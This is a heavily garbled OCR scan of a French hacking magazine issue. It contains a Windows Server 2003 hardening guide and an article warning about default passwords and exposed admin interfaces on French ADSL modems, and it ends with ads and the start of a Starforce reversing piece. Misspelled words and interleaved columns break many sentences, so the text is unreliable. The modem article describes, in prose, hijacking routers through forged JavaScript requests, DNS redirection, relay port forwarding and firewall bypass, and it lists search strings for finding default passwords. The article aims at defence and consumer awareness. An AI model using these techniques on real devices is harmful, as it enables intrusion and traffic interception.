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Encore une nouvelle formule !

tre journal o connu de nombreuses mutations depuis les premiers Huckers Yoice, tant en matiére de ligne

“;ruphiqua que de ligne éditoriole. Lo création de The Hackademy Journal avait marqué notre volonté de pro-

poser un confenu plus lechnique et plus professionnel. L'arrivée du Mogozine o également symbaolisé un tour-
nant dans noire histoire, motivé por 'envie de méler d'ovantage | technique o des problematique humaines et de
société. Netre nouvelle formule met du temps 4 trouver san équilibre, mais je crois qu'avec ce numéra vous pouver
vous faire une bonne idée du journal que nous révons.
Il y o d'abord une nouvelle maguette, plus cloire, plus nérée el plus focile @ lire. Mais oussi un sommaire plus vorié
et plus accessible, qui nous I'espérons vous intéressern. Nous sommes déterminés a Faire avancer les choses et @ vous
éclairer sur des problematiques d'avenir, en vous propesant de vous interroger sur des sujets d'octualite comme le
téléchargement et lo sécurité des nouveoux modems ADSL. Mais nous ne négligeons pas pour autant la fechnique,
puisque nous continueront @ vous propeser des articles sur le reversing, lo sécurité Web ou sur des procédes d'ex-
ploitation plus avancees. Enfin, nous tachons de ne pas laisser en rade les lecteurs débutants, non pas en encoure-
geont o focilite, mois bien en proposant des pistes didodlique construetives.
Nous somme plus motive que jomais o confinuer dons ce sens, parce qu'il semble que notre démarche n'o pas &te
comprise que par vous. Nous attendons en effet de bonnes nouvelles du cdté de lo commission paritaire dans les
jours qui viennent.
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Entreprises \//indows Server 2003

Windows Server 2(

Comment Microsoft se rachéte une conduite...

a principale
force de Server
2003 est sans

Les débats font et feront toujours rage a propos de
Linux et de Windows. Méme si la philosophie de Linux

.ucun doute sa - €St sans équivoque face a la firme de Redmond, de
facilite de déploie- : péelles avancées ont été faites, chez Microsoft notamment
ment. Il parait

sur Windows Server 2003.

donc tout naturel
de s'interesser
aux difféerentes
rithodes permetant
de rendre cohérente

By Artyc
une politique de sécurite dans un tel
environnement. Cet article ne sera bien
evidement pas exhaustif car les possibilivés
offertes par ce systéme sont extrémement
nombreuses, bien que rarement innovantes.

General
Les roles :
La premiere régle en matiére de sécurité

sur un environnement, quel gu'il soit, est @

bien sir de ne lui faire faire gue ce gqui
est necessaire. Plus un systeme a de ser-
vices actives, plus il y a de chance que
Fun d'entre eux soit vulnérable. Cette
régle relevant du bon sens n'est pas pour
autant systéematiguement appliguee. I
faur dans la mesure du possible repartir
les rcles sur plusieurs serveur. Ainsi la
compromission d'un des serveurs, bien
que dramatique, le sera d'autant moins
que tous les oeufs n'auront pas ete mis
dans le meme panier. Par défaut, tous les
rales (regroupement de services) sont
désactivés. Leurs activations/desactiva-
tions s'effectuent simplement via le pan-
neau : Outils d'Administration, Assistant
Configurer votre serveur. Vous pourrez
alors ajouter ou supprimer des roles.

Exploitation de failles de type
overflow :

Windows serveur 2003 offre une sécu-
rité contre les exploitations de type «
buffer overflow ». La methcde utilisee
est similaire a celle de stackguard [1] qui
a deja guelques annees mais qui rend
'exploitation d'un buffer overflow [2]
beaucoup plus contraignante voir sou-
vent impossible. La technique consiste a
placer un canary devant le registre
contenant l'adresse de retour qui doit

contourne par
. NGSSoftware [3] .

: Une autre protection, tres inteéressante,
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Mise en place de la protection DEFP

étre ecrasée pour medifier le comporte-

- ment du programme. Ainsi 'attaguant
. ecrasera aussi le canary. Avant de « sau-
. ter » sur ladresse de retour, le canary
- sera verifie et si sa valeur differe, le processus
- sera arrete. Cette securite provient du
: flag G5 acuve par defaut lors de la com-

.MNET.
mécanisme a até
David Litchfield de

pilation sous Visual Studio

Méanmaoins ce

: permet de rendre extremement difficile

I'exploitation de Heap Owerflow. Pour

- ceux désirant aller plus loin, se referer a

l'article de Carib dans le manuel |2 [4] .
Depuis ke Service Pack |, un systéme DEP
(Dam Execution Prevention) a éré incus dans
Windows. | prend en charge le mode « Ne
Execute » des demniers processeurs comime
par exemple FAthlon 64/Opteron ou Manium
2 |l rend ainsi certaines zones MeMmoires Non

- exécutables et empéche ainsi dy loger des
- shellcades pendant l'exploitation dune faille.

o] e |

Pour verifier 'activation de cette option,
il faut aller dans les proprietes du poste
de travail, Avancé, Performances, Prévention
de [exécution des Dans cet
onglet, il est possible d'ajouter des appli-
cations pour lesquelles cette protection
n'aura pas lieu. Ceci peut étre utile car
certains programmes peuvent mal sup-

données,

: porter ce mode.
: Globalement on peut dire que de réels
- efforts ont eté faits en matiére de pré-

vention des failles applicatives.

 Authentification

NTLM vs KERBEROS :
Sous tous les systémes d'exploitation

- actuels, l'authentification est incontourna-
' ble {(Windows 9x m'est pas actuel..
: les machines de technologie NT b pression des
: touches [Cerl]+[AR]+[Suppr] permet géné-
: ralement de s'authentifier. La combinaisan
: des touches est une sécurité empéchant un
programme malicieux de récupérer les uti-

) Sur

: lisateurs et mots de passe.
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Syrkey

Sous windows les informations sur les mots de
posse des comptes ulilisoteurs sont stockes
dons lo bose SAM (Security Accounts
Manager). Cette base peut entre focilement
oftoquée el décryptée. L'utilitoire SysKey
crypte cette base sécurisant un peu plus le sys-
teme. Por défout Syskey ufilise un mot de
posse géneré par le sysleme, enregistre lo clé
de démarrage localement. Mais il est possible
de renforcer lo séeurité en utilisant soit un
mot de posse demandé o chogue démarroge,
soit en utilisant une disquette contenant o
clef. Pour faire ces modifications : Executer,
syskey, Mettre d jour,

Lors d'une authentification, le systeme °:
consulte une base de donnees de comptes :
couple :
utilisateur/mot de passe et etablit ainsi :

et wvalide ou non le
les droits dont disposera cet utilisateur
durant toute sa session. Ceci est valable
lors d'une authentification sur une
machine lacale ou  sur unddomaine, 5i

une machine Windows appartient 2 un

domaine, elle pourra choisir son fournisseur
de securite (l'endroit ou elle s'authentifiera) *
en le selectonnant dans le menu dérculant

Le connecTer d.

Windows Server 2003 supporte (entre
autres [5]) deux methodes d'authentification -

: Fite,
: Manager.

“Kerberos V5 est désormais

fr

-'-. w8 -
AR e
i k.

L

utilise sur windows”

: qui sont M LM pour Mt Lan Manager et

Kerberas. Ces deux méthades permettent
de faire une authentification en 550
( Signle Sign On ) cest-i-dire qu'une
fois enregistre, I'utilisateur n'aura plus a
se réenregistrer pour accéder a un
autre service reseau. La premiere est
proprietaire et est moins rapide et

sécurisée que Kerberos. Cependant ce

- mode dauthentification est possible

quelque soit la version de Windows. ||

: existe 3 versions de NTLM : LM que

I'on retrouve sur les postes sous 25, 98

et NT4 NTLMVI qui fut par défaut sur

MT4 jusque au service pack 3. Et main-
tenant NTLM V2 que l'on retrouve sur
XF. 2000, 2003. NTLM udlise un mecanisme

préférable d'utiliser Kerberos, mais
pour ceux qui desirent tout de meéme

en allant dans
locales, Stratégies locales, Options de sécu-

Niveau d'authentification LAN

les stratégies ordinateur

Il est conseillé de refuser LM et NTLM
vl et d'autorizer seulement NTLM v2. 5i
vous disposez encore de machines sous
O ou NT je vous invite a lire ce document
pour les sécuriser et utiliser NTLM v2
[&].

Kerberos V5 est desormais urtilise sur

. Windows et tend a supplanter NTLM.

Hormis le fait qu'il est plus performant

que NTLM, celui-ci n'est pas proprié-

taire et repose sur la RFCISI0 [7].
Kerberos utilise un systeme de ticket a
duree limitee, qui empechera un pirate
de conserver [acces. Le tout repose
sur un systeme de clefs privees en chif-

: frement symétrique. Un autre avantage
: de Kerberos est gu'il est tres simplé
de challenge reponse. |l est vraiment :

d'installation sous linux. || a5t ainsi pos-

: sible d'avoir un parc hétérogéne base

: sur-un Active Directory avec uns
utiliser NTLM vous pouvez le r_l:un'ﬁgurer :

authentification Kerberos. Les utilisateurs
pourront alors aveir accés a leur partage,
le site intranet ... Quelgue soit leur
systeme d'exploitation et ce toujours

an 550
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Stratégie des comptes :

Seus Windows 2003 il est tout a fait pessible
dappliquer des régles génerales a tous
les comptes. Ainsi vous imposerez certai-
nes contraintes a vos utilisateurs qui per-
mettront de mieux garantir la sécuriteé
de vos systemes d'informations. Les
mots de passe tels que les dates de nais-
sance ou prénoms disparaitront alors.
Mais il ne faut pas oublier que la sécurité
est avant tout une question de diplomatie. ...
Pour acceder aux Strategies des comp-
tes d'un domaine Active directory allez
dans les propriétés de votre domaine
active directory dans Utilisateurs et ardi-
nateurs Active Directory et accédez ainsi a
I Editeur d'objets de stratégie de groupe.
Pour une machine lecale il est possible
d'y accéder directement via gpedit
{ Exacuter, gpedit msc ). Puis Sous Configuration
de l'ordinateur, Parameétres Windows,
Paramétres de sécurité, Strotégies de
comptes.

Avec la Stratégie de mot de passe il est

possible de configurer :

Conserver [historique des mots de

passe determine le nombre de nouveaux

mots de passe uniques quun utilisateur
doit employer avant qu'un ancien mot de
passe puisse &tre reutilisé.
Duree de vie maximale du mot de
passe détermine le nombre de jours
d'utilisation avant que le mot de passe
doive etre remplace.

# Durée de vie minimale du mot de passe déter-
rrine le nombre de jours pendant lesqueds un
utlisateur doit consarver e nouveau de mot
de passe avant de pouvoir ke remplacer:

v Longueur minimale du mot de passe
determine la longueur minimale admise

= SEpuris i) Conssne g
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Statégies de sécurité

pour les mots de passe. La longueur minimale
recommandée est de huit caracteres.

¢ Le mot de passe doit respecter des exi-
gences de complexité 5i ce paramétre
est active, les mots de passe utlisateur
doivent obeir aux exigences suivantes :

mLe mot de passe est d'une longueur
minimale de six caracteres.

mLe mot de passe doit étre suffisam-
ment complexe,

m Le mot de passe contient moins de trois
caractéres du nom du compte de [utlisateur:

5
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Les I'__':.'n:.'rra-;}:ru:.' des mots de passe

La strategie de verrouillage du compte
permet d'empécher les tentatives d'in-
trusion par « brute force ». Elle permet
de bloguer les comptes apres un certain
nombre de tentatives de connexion, Il
est ainsi possible de configurer :

La Duree de verrouillage des comptes

apres un blocage du compte.

Le temps nécessaire pour remettre i

zéro le nombre de tentatives infruc-

tueuse ( Reinitaliser le compteur de

verrouillages du compte apreés )

Le seuil de verrouillage du compre

Il est aussi possible de définir la strotégie

d'guthentification Kerberos

s Appliquer les restrictions pour l'ocuverture
de session

» Durée de vie maximale du ticker de
service

¢ Duree de vie maximale du ticket utilisateur

» Duree de vie maximale pour le renou-
vellement du ticket utilisateur

» Tolerance maximale pour la synchronisation
de I'horloge de l'ordinateur

Ces parameétres pouvant énormeément

influer sur la qualite de votre reseau, il est

préférable de se reporter i la documentation

[8] pour avair une configuration optimal.

ASTUCE

Pensez 0 renommer le compte administrateur
pour compliquer I'ufilisation de Proof of
Concept ou brute forceurs générigues. Pour e
foire il fout éditer renommer le compte odmi-

nistrateur dans |’ Editevr o objets de stratégie
de groupes Paramétres  Windows,
Poramétres de sécurité, Strotégies locales,
Dptions de sécurite.



Modeles de Sécurite

Sous Windows, il y a par défaut un trés
grand nombre de parametres de securite

configurables. Tous ces parametres peuvent

emre regroupes dans un fichier comme
modele de securité { Security Template ).
Cette possibiliteé est tres intéressante
surtout si l'on désire Cuﬁ'ﬁ:.;ur't:r Ui gr'.-uld
nombre de machines.

Ces modéles permettent de prendre en
charges différents parametres tels que
ceux :

Des stratégies de comple vues précédernment,
stratégies locales pour [|'audit, les
droits utilisateur, et des options de
sécurité générale,
services Systéme, qui permet de configurer
les services de la machine,
registre, permet de gerer les autorisations
sur certaines clef de la base de registre.

Microsoft nous simplifie encore la tache
en fournissant deja une série de templates
configures selon leur réle dans
RacineSysteme\Security\Templates . Leurs
noms correspondent a leur applications,
ainsi on retrouve DC pour wun
Controleur de Domaine, ws pour une
station de travail, hisec pour le niveau de
plus sécurisé { highest level of security ).
lls sont consultables et modifiables
depuis la mmc | console de gestion ).

visualiser les

FPour templates, dans

Lal |2 rency A Sanded J

Import de strotépies

Exécuter taper mme puis dans fichier

- Ajouter/Supprimer un composant logiciel
- enfichable , cliquez sur Ajouter, puis selec-

tionnez Modeles de sécurité, et dans le
menu fichier enregistrer.

Four créer san modale, copiar e modele e
plus proche de celui vouls sous un autre nom .

Une fois le modéle personnalisé il peut :
etre appligue soit sur la machine directe-
ment, soit directement Sur tout un
groupe de machine faisant partie du

domaine Active Directory a laide des
GPO ( voir encadré) .

“Microsoft nous simplifie

encore la tache”}

GPO

les GPO, Group Policy Object ow encore
Stratégies de groupe permetient de définir les
parométres d'un groupe, ufilisateur ou
machine de notre domaine Active Direclory. Il
est ginsi possible de configurer toutes les
machines d'un parc sans avoir @ se déplocer.
Toutes les moditications se feront lors de lo
prochaine outhentification de lo mochine ou
de ['utilisateur. En protique les GPO s'appli-
quent @ une unite d'organisation ou OU
( Organizutional Unit ). Pour celo, créez dons
Active directory une nouvelle OU ojoutez- y
vos  ulilisateurs, groupes, machines.
Sélectionnez volre OU et dons Groupe Policy
créez une nouvelle GPO. Vous n'ourez plus
qu'a I'éditer. Yous pourrez installer des logi
tiels, modifier les porométres de configuro
fion et de sécuritd, loncer des seripts et bien
plus encore...
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Pour appliquer sur une machine locale :
notre nouveau modele : Executer, gpeditmse
puis dans Porométre de sécurité importer :

une stratégie,

Dans un domaine la méthode est similaire, :
a condition d'appliquer le modéle dans :

une gpo créée a cet effet.

Restriction Logiciel :

Une autre application directement liee
aux GPO et Active Directory de : |
Windows Server 2003 est de pouvoir :
restreindre l'accés a certaines applications
ou type d'application d'une machine du :
domaine ou du serveur. La creéation :
d'une nouvelle restriction logiciel est
accessible comme précedemment dans
I'Editeur d'objets de stratégie de groupe ( :

gpedit ) ou dans une GPO pour votre

de restriction logiciel : par hashage , cer-

sécurisée mais les logiciels ne fonction-

politiques selon  deux
methodes
créant une liste de logiciels autorises,
soit par liste noire qui a l'effet inverse.

Ces options se configurent toujours

s'appliquent

rité, Stratégie de restriction logicie! . Pour
ajouter des logiciels faites un clic droit
sur Régles supplémentaires, selectionnez

plexes.

| e agtion  Affchess |
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e

Liste noir ou liste blanche /
OU. Il existe quatre politiques differentes T li - : ; : gﬂ. .
tificat, chemin d'accés ou zone internet. I emgﬁ% ﬁ%ﬁé Eg % ﬂ% 5
est évidement que le hashage est la plus (le regtreg&gg&g ﬁﬁga %ggj

neront plus en cas de mise a jour, il faut 114"
donc |'utiliser avec prudence. Toutes ces :

: soit par liste blanche en : MNous avons vu que Windows Server :
: 2003 aoffre par défaut de trés nombreu-
© ses passibilités en matiere de securite.
: Tous ce qui aura été vue peut bien évi-
grice i ghedit dans Configuration utiisateur,
Paramétres Windows, Parométres de sécu- © moins homogéne mais avec souvent
beaucoup plus de possibilités, de perfor-
mances et biensure le soutient d'une
\ communauté pour les mises a jour..
la methode utilisée. |l ne reste plus :

qu'd suivre quelques étapes peu com-

demment se faire sous Linux de maniére
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Ghnnge: vos mots de passe par défaut !

Il est temps de prendre conscience des dangers que
représente la nouvelle géneéeration de modems ADSL.
Toujours plus riches en fonctionnalités, ils sont fatalement

YENEZ peut-
étre de cet
article paru dans
TH] 20, au sujet du
routeur/imodem
,p'.-'-'i.DSL d'Alcatel

" (rachete depuis par
Thomson Muormeda),
s . trés répandu aux

By Dvrasp :
= o debuts du haut-

debit en France. Un lecteur nous racentait -
ses déboires avec un intrus ayant profite
d'une « backdoor » dans le firmware :

Speedtouch du routeur pour s'installer
SUr 5a connexian.

Le contexte de cette histoire est certes -

particulier, le materiel en question ancien, et
le probleme de sécurite a lorigne de cette
intrusion ne concernait pas systématique-
ment tous les usapers. Cependant, avec
Fexplosion de la demande, les mécanisme de
la coneurrence ont procipice le developpernent
de nowveaux produits plus complexes et
pour lesquels la plupart des efforts ont été
concentrés sur les fencticnnalites et le
confort, plutdt que sur la securite des usa-
gers - en effet. la sécurité n'a pas toujours
eté un argument de vente. Par conséquent,

le nombre de personnes exposées croit,
alors que b fiabilice technique des dispositf :

névolue pas.

la LCEN ou méme le projet de loi

DADYSl en sont wne preuve © notre

societe prend petit & petit conscience de :

limportance capimle qua la securite
informatique dans ce monde moderne ou
de plus en plus d'échanges prennent une
forme numérique. Aujourdhui, Monsieur
Tout-le-monde utilise sa connexion
Internet pour ses achats, sa declaration
d'impdt, ou simplement ses conversations
téléphoniques. On l'encourage, on le ras-
sure, parce que c'est bon pour l'écono-
mie. Mais en méme temps on lui demande
d'étre expert en securice.

oUs voUus SOl

ne présage rien de bon.

Est-ce beaucoup demander aux fournis-
seurs d'accés que de prendre leurs res
- ponsabilites ! Le FAl est, par definition,

l'intermédiaire entre Internet et le
consommateur, Qui dautre pourrait
rieux que lui veiller d'une part a la fiabilice
de l'infrastructure qu'il met a disposition
et dautre part a l'éducation de ses
clients — qui est un peint capital ! Nous
avons que

pourtant pu Constater

: Wanadoo, par exemple, menagait il y a :

quelgues mois 'un de ses clients de resilier

son abonnement sous pretexte gue sa
: connexion servait de relais pour du
: spam. Me serait-il pas plus simple de |ui
: expliguer comment se débarrasser du

- sujets a d'avantages de problemes de séecurité. Nous
- faisons avec cet article un premier état des lieux, qui

cheval de Troie dont il etait la victime, ou
au moins lui montrer comment configurer
en quelques clics le firewall inclus dans le
madem qu'il leur loue ! Les FAI sadressent
clairement au grand public, pas qu'a des
geeks. Il faut choisir

Alertés par les abservations inquiétantes
de plusieurs collaborateurs, nous avons
voulu pousser lanalyse jusqu'au bout. |I
apparait clirement que les modem/routeurs
ADSL acruels constituent un nouveau vec-
teur d'attaque ayant le potentiel de mena-
cer réeellement et massivement le grand
public, pour des raisons technigues mais
aussi, pour 'essentiel, a cause d'un mangue

. d'information, comme nous le verrons.

la = backdoor » enpert de Speediovch

Un arficle paru sur vaunet fr lancait déja le débot en novembre 2000 : 'accés  lo configuration du
modem, depuis le LAN, ne nécessitait pas, par défaut, de mot de passe. Renaud Deroison (co-nuteur de
Messus), qui fut le premier & metire en évidence les problémes de sécurité de ce modéle, inferrogé por
munet, encouragenit dja vivement les consommateur o configurer un mot de passe personnel.

Et on |'opprenait pew aprés : une sorte de backdoor cryplographique destinée @ lo maintenance permet
sur tes anciens modéles de s'y connecter en tant que I'utilisateur "expert’ & I'nide d'un mot de posse
calculé @ partir de I'odresse MAC unique du modem. L'algorithme utilisé ayant été reversé et publié

sur le Met, on était donc quére en sécurité, méme aprés avoir configuré un met de passe. Encore une
preuve que ln sécurité par I'ohscurité est une ohsurdite.

|'expérience relotée dans THI20 monire que selon lo configuration - ou peut-étre lo version du firmware
- I'ocees Telnet n'est pas forcément restreint au LAN.

Retrouvez cet arficle de THI sur

Goagle :
speedtouch expert algorithm

(Articles en ligne).
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Pour répondre i ce probleme, il est illu-
soire de compter sur la reglementation.
Le pouvoir legislatif nous a montre a
maint reprise qu'il ne maicrisaic pas les
enjeux des nouvelles technologies. |l faut
plutot profiter des forces motrices de la

concurrence qui régissent notre monde

liberal. La difusion de |'infarmation, dans

ceé contexte, est le moyen le plus demo-

cratique de protéger et de faire protéger
nos données.

=

\
.
\

20 ans de motr pasre par délaut

Il y o 20 ans, les administrateurs systéme n'étaient pas aussi poranciagques qu'avjourd'hui. On ne
parlait pas de hackers o la télé, les connaissonces sur lo sécurité des systémes n'éloient pas frés
organisées, el surlout les équipements informatiques n'étaient pos oussi exposés au premier venu,
On trouvait d&ja, sur les BBS et méme dans les premiers numéros de Phrock Magazine, des listes de
mots de passe par défaut pour toutes sortes de systémes - et ca morchait | Peu d'ndministroteurs
étaient en effet conscient du probleme. lls ne prencient pos tous le temps de reconfigurer les mots
de passe de tout leur parc.

Or lo sécurité d'un réseou dépend directement de celle de ses machines les moins protégées,
Pendant longtemps, les pirates ont profité de cette négligence pour s'infiltrer sur des réseaux uni-
versitaires et d'entreprises en ufilisont des mots de passe odmin por défout, ou en possont d'abord
par des compies connus, non privilégiés et sans mot de posse, activé @ I'installation por certains 0S.
Depuis quelques années, les comptes el mots de passe por défout ont progressivement dispary des
UNIX propriétuires (les distribufions Linux et BSD avaient corrigé le tir depuis longtemps) ef les odministro
beurs ont fini par prendre globalement de bonne habitudes - méme s'il resters toujours certaines exceptions.
On trouve toujours des listes de mots de posse par défout sur le Net, et en effet encore beoucoup de
systéme récents, physique ou logiciels, sont touchés. Le probleme c'est que tes routeurs, firewalls et
nutres éléments cé sont maintenant trés utilisés par des particuliers, qui eux ont beavcoup plus de
peine d prendre la bonne habitude de configurer des mots de passe personnels.

Google :
default passwords
"admin admin" "admin default" "guest guest”
site :www.phrack.org "default passwords" 1980.2000
phrack-(47 OR 11 OR 10)

FOI
atanies
1



la frecbox de Free

(C'est Free qui o loncé lo mode, fin 2002, de ces « boites a tout faire » que 'on branche sur sa ligne
téléphonigue. Il s'agit, pour simplifier, d'un processeur embarque, d'une mémoire flosh, de quelques
périphériques et d'un noyou Linux agrémenté de programmes spécifiques @ Free |qui constituent le
firmware, mis @ jour & choque redémarrage).

Les concepteurs de lo Freebax ont choisi de ne pas doter ce matériel d'une interfoce web intégrée.
Par défaut, ln Freebox se comporfe comme un reloi DHCP, qui ottribue directement & I'ordinateur
connecté I'IP publique qui lui est assignée. Pour modifier ce comportement, et lo transformer en row-
teur pour votre LAN par exemple, il fout donc se conneder sur le site de Free el s'identifier. De la,
un panneau de contrdle permet d'ocliver @ distance le port forwarding et d'outres foncfionnalités.
Lo Freebox n'est donc qu'un intermédiaire silencieux, difficile o atteindre depuis Internet et méme
depuis votre LAN. Celo diminue I'impact que pourrait avoir une faille opplicative dans le firmware,
a moins qu'elle ne concerne I'un des éléments responsables des poquets réseou, seuls vecteurs d'ex-
ploitation contrilobles por un attaquant,

Le partage de la connexion WiFi permet les chiffrements WEP et WPA. Comme chacun le sait, ces
deux algerithmes sont fuillible o certaines attaques et leurs clés peuvent étre cossées en un femps
raisonnable. | vout done mieux uiiliser une couche supplémentaire de cryplo [VPN, IPsec, ...) pour

des communications confidentielles - ce qui n'est pos possible en utilisant lo Freebox comme routeur
Wik

Seul point faible : les DSLAM, qui font d'une part le lien entre les lignes individuelles et le réseau
de I"opérateur el d"outre part qui tronsmettent le firmware officiel aux Freebox qui lui sont raccordées.
Celo fait donc d'eux une cible de choix. Des rumeurs dirculent dans ['underground sur la compromis-
sions de certains de ces super-rouleurs.

De nombreuses informations complémentaires et des ostuces sont donnés o ces odresses :

Bienvenue sur le site web de
configuration de votre C-BOX

Etat de |la C-B0X : NN

Scénarios catastrophe

Imaginez que quelgqu'un prenne le
controle du routeur principal de votre
école ou entreprise. C'est 4 peu de choses
pres ce qui se passe si un intrus parvient a
s'immiscer dans la configuration de votre
rmodem ADSL @il se trouve au point sen-
sible oU toutes les dennées de votre

connexion Internet convergent. Cette

position permet denvisager plusieurs
scénarios d'attaque, dont les conséguences
peuvent étre plutot facheuses.

Les maniéres d'atteindre la configuration

d'un modem depuis l'extérieur sant multiples

(voir quelques exemples ci-contre). Mais
glles nécessitent souvent que certaines
conditions scient réunies pour gqu'elles

. aboutissent, || faut denc bien differentier

les attaques de masse des attaques
ciblees. Pour le pirate qui vise une vie-
time particuliére, s'attaguer au modem
ADSL n'est gu'une possibilité parmi d'au-
tres a essayer. Par contre, celui qui cher-
che un relais anenyme ou une machine
pour lancer dautres attaques ne se
génera pas pour scanner des centaines
de connexions ADSL jusqua trouver le
bon candidat.

. Relais

Un intrus ayant accés a la configuration
dun meodem ADSL moderne peut, en
quelques clics, configurer une redirection
depuis un port de [P dble vers la destination
de son choix. C'est beaucoup plus effi-
cace, en terme d anonymart et de latence,
quun proxy public : il n'y a pas de log
locaux et c'est complétement transparent
pour la victime. Rappelons cependant que
les FAI frangais ont I'obligation, depuis le
26 mars 2006, de conserver tous les logs
de connexions de (et probablement
vers) leurs clients pendant une année
entiere

1. Détournement du trafic
Certains modéles permettent aussi de
changer les serveurs DIMNS utilisés par le

C-Box et nevuf Box

Les derniers arrivés sont les moins bien servis |
Nous avons pu constater il y o quelques
semaines encore que |'inferfoce d'odminisira-
fion de centaines (sans doute des milliers en
realité) de (-Box el neuf Box étaient occessi-
bles publiquement depuis Internet, par leur
interface web.

Une partie de ces connexions ne demonde
méme pas de mot de passe, et sur lo plupart
des autres, le mot de passe par défaut n'n pas
eté thangé. Celo indique cloirement que dans
lo mojorité des s, le consommateur n'a pas
pu décider, en foule connaissance de couse,
d'ouvrir ces poges ou public - sans quoi il
aurail ou moins mis un meol de passe. Car
[|E||]Lli'i cefte interfoce, on peut reconfigurer
tomplétement le routoge Internet et Wiki du
modem. On peut méme y lire en clair les iden-
fifiants ADSL du client




la liveBox de Wanadoo
Lo LiveBox est le modem,/routeur ADSL fourni

par Wanadoo non seulement @ ses abonnés
en France, mais égolement dans d'autres
puys d'Europe, dont I'Angleterre et ['Espogne
- 8 qui foit qu'une lorge communouté de
chercheurs 'y intéressent. Deux versions dif-
férentes sont en circulafion, fobriquées res-
pecfivement par Sagem et Inventel, qui som!
relativement equivalentes vu de I'extérieur.

La LiveBox est configurable vio une inferfoce
web oceessible uniquement depuis le LAN el
protégée par un mol de passe. Nous ovons
cependont pu vérifier que telo ne donne
qu'un foux sentiment de sécurité. En effet, il
est possible de piloter I'interface depuis une
page web visitée par lu vicime, por exemple,
en forgeant grice o du code JovaScript des
requétes http dirigées sur I'ndresse LAN du
modem. Du moment que ['utilisateur n'a pos
thangé le mot de passe por défout (ou i son
mol de posse o été mémorisé por le novigo-
feur], on peut de maniére tronsporente ojou-
ter des redirections ou changer |'odresse des
serveurs DNS onfigurés. Divers problémes de
XSS permettent méme de comoufler certaines

de ces modificotions ofin qu'elles n'opparais-
seni pos dons les recapitulotifs offichés por
'interface.

Ce type d'attaque n'est pas trivial, mais reste
focile @ orgoniser pour un pirate molivé,
méme @ lorge échelle.

Du cété WiFi, la LiveBox comporte un bouton
sur lequel il fout oppuyer ovant d'associer un
nouvel élément sur le réseau. Lo oussi, celo
donne un foux senfiment de sécurité, car
méme si il n'est pas possible de connecter un
nouvel ordinatevr ou routeur Wiki sans acces
physique, on peut toujours cosser lo clé de
chiffrement en peu de temps et squatter lo
connexion d'un élément déjo connecté en
spoofant son odresse MAC

Quelques infos supplémentaires :

- chiffrement dune

. modem, ou dautres paramétres sensi-
. bles qui seront pris en compte par les :
. postes reliés via DHCP. Une intrus peut
: en profiter pour forcer sa victime a utili-

ser un faux serveur DNS, et donc
détourner toutes les connexions initiees

vers des noms d'hotes donnes. En faisant

pointer l'adresse d'un site vers un faux

» serveur, qui servirait de relai, on peut par
: exemple réaliser des attaques de :

Man In the Middle afin de percer le
heep

confaxian

sécurisée.

@

3. Contournement de firewall

Le port forwarding, en redirgsant vers le
LAN, peut trivialement servir a contourner
des régles de pare-feus. On peut par exemple

. atteindre directement les ports servant au

partage de fichier de Windows, ou le port
dune applicaton vulnérable, que b vicime ne
persait ére accessibles que depuis son reseau
interme.

4. Backdoors furtives

Enfin, si un intrus parvient 2 prendre le
contréle total, au travers d'une faille, du

- systéme d'exploitation de l'un de ces

“Contourner les reg

les

de pare-feu”

les avltres « Box »

Les modems ADSL des outres fournisseurs pré-
sentent également certains problémes de sécu-
rité que nous n'ovons pos étudiés en détail, On
retrouve fatalement les méme problémes de
mot de passe por défaut et d'interfoce occessi-
ble par Internet ou par JavaScript interposé.
W'hésitez pos a contacler lo rédoction i vous

observez quelque chose de suspedt sur voire
modem. Aftenfion cependant, un modem que
vous lovez appartient @ votre FAI - il est donc o
priori illégal de le pirater, méme si c'est le « volre ».
Google :

alicebox “passe par défaut”

“tiscali box™ admin’
aolbox 192.168.].1




Alerte ! FreaHox

modems ADSL, il pourrait y installer une
backdoor omnipotente et particuliere-
ment difficile a detecter. Qui irait cher-
cher a cet endroit ?

'::Epér‘n:'iﬁm, il est malaizé d'abtenir un
acceés root sur ce genre de materiel. Il
existe par exemple une faille locale sur
certains modeles de la LiveBox permet-
tant d'y installer un serveur telnet
(heepy/www.agp.dsl pipex.com/finventel.h
tml). Il ne semble toutefois pas envisageable
d'appliquer cette technigue a distance

Il faur aussi considérer le fait que la
memeire de ces modems est reinitialisees
reguliarement (redemarrage et mises a
jour), ce qui relativise grandement la
duree de vie d'une telle backdoor.

conclusion

Mous n'avons pas, 2 proprement parle,
trouve de faille de securite grave dans
aucun des modems gque Nous avons etu-

dies — ce qui ne veut pas dire qu'il n'y en

a pas, et surtout pas qu'il n'y en aura
mais dans les modeles plus complexes a
venir. Cependant, nous avans montré que
la mise i disposition du consommateur
d'une interface d'administration compléte
presente déja des risques qui ne sont pas
encore maitrises. Cela représente non
seulement un danger reel et présent, mais
met aussi en evidence un nouveau point
critique pour la sécurité des particuliers
et des entreprises.

es modems/routeurs ne sont que les
prémices d'une révolution numérique
Dans quelques decades, de veéritables
centras relies a Internet
remplaceront la télévision dans tous les

multiméadia

foyers. 5i nous ne pensons pas a leur

securite des maintenant, nous Courrons
a la carastrophe.

Greetz -> Thug, ortyc, nono2357, newsoft,
Marc, Acido'zik, virtualabs &
Fozzy !

Consigners de récurité

(e probléme d'insécurité soulevé par la nou-
velle génération des modems ADSL, on la wu,
ne provient pas direciement de failles de sécu-
rité présentes dans leurs firmwares. Il s'ogil
plus d'une question d'éducation du consom-
maleur. Les risques principoux sont en effet
maitrisés par le simple fait de modifier le mot
de passe de l'interfuce d'administration.
Voici quelques régles simples qui neutralisent
lo majorité des problémes. Appliquez-les ef
communiquez-les a votre entourage.

1) Chonger le mot de passe par défaut

2) Interdire I'accés @ l'interfoce depuis
Internet (port 80 du modem, mais aussi 23
et 21 sur certoins modéles)

3) Toujours se déconnecter oprés avoir
thangé lo configuration du modem et quitter
le navigoteur

Retrouvez d'autres informations et la position
des fournisseurs d'acces sur :

www.thehackademy.net
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Les réseryations pour |8 Nuit du Hack 2006 Lonl cuvertes
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2 The Hackademy Prog Python

Disponible en ligne au priz ultra préférentiel de 4,20 €1

JourmaL

Le nowveau numérne de Hackademy PRDG {notre publreation 100%
programmation) vient de sortir. Pour la premiére fols, nous dédions
win nUmdns entier au langage PYTHON, e plus facile et le plus sauple
des langages. Tres didactique, & nuMdére propose une approche pas
& pas pour vous permettre tres rapldement d'ére opérationnel et de
pouvolr "tout” coder sans prise de tote |
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Reverser Starforce 3 : ouverture des travaux !

« C'est autre
chose que de
supprimer
complete-
ment la
protection... »

Mous avons deja
parle a quelques
reprises de |a pro-
tection russe Star

.

